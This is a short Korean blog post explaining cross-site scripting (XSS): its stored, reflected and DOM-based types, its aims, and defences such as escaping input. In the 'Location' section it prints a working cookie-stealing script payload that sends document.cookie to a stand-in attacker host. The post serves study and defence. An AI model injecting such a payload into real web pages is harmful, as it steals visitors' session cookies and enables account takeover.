Notice
Recent Posts
Recent Comments
끄적끄적
XSS ( Cross Site Scripting ) 본문
※ 무분별하게 또는 악의적으로 사용하게 되면 법적 처벌을 받을 수 있습니다. 함부로 사용하지 마세요.
XSS
정의
- 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점
- 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 함
- Client Side 공격 기법
- 스크립트 자체는 서버에 저장되기도 하지만 실질적인 공격 행동은 서버가 아닌 클라이언트에서 이루어 짐
공격 방법
- 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 공격이 이루어짐
- 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타남.
공격 목적
- 사용자의 정보(쿠키, 세션 등) 탈취
- 자동으로 비정상적인 기능을 수행하게 함
종류
영구적 XSS ( Stored XSS )
- 공격자가 입력한 정보가 데이터베이스에 저장됨
- 해당 데이터베이스를 열람하는 모든 사람이 언제든 공격받을 수 있음
비 영구적 XSS ( Reflected XSS )
- 피해자 자신이 입력한 내용이 공격코드로 사용됨
- 해커는 피해자의 입력 값을 조작할 수 있음
- 특정 페이지에 접속한 당사자만이 공격의 대상이 됨
DOM 기반 XSS
- DOM (Document Object Model )
- HTML 문서의 모든 요소에 접근하는 방법을 정의한 API
- DOM에서 사용하는 속성을 조작해 XSS 공격 진행
- 서버와의 통신없이 클라이언트에서 이루어짐
Location
- 페이지를 이동시키는 함수를 사용하여 사용자의 쿠키정보를 Attacker에게 전송하는 방법
- <script>document.location="http://attack.co.kr/hack.php?cookie="+document.cookie</script>
Hidden
- 사용자의 정보가 Attacker에게 전송되는 과정을 최대한 알지 못 하도록 하는 방법
- <input name =‘asdf’ value =‘password’ type=‘hidden’>
방어 방법
- 사용자 입력 검증 (함수 제공)
mysql_real_escape_string
htmlspecialchars
- 외부 스크립트 실행 금지
- 최신 브라우저에서는 대부분 기본적으로 차단
'해킹' 카테고리의 다른 글
SQL Injection (0) | 2016.02.26 |
---|---|
CSRF ( Cross Site Request Forgery ) (0) | 2016.02.26 |
웹 해킹 기본 (0) | 2016.02.26 |
웹 스캐너 - (3) (0) | 2016.02.20 |
웹 스파이더링(or 크롤링) - (2) (0) | 2016.02.05 |
Comments